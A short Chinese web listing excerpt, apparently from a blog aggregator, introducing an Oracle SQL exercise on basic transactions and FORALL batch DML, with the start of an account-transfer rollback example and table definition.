  • Oracle基本事务和ForAll执行批量DML练习 vipbooks oraclesql
    基本事务的使用： 从账户一的余额中转100到账户二的余额中去，如果账户二不存在或账户一中的余额不足100则整笔交易回滚 select * from account; -- 创建一张账户表 create table account( -- 账户ID id number(3) not null, -- 账户名称 nam
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他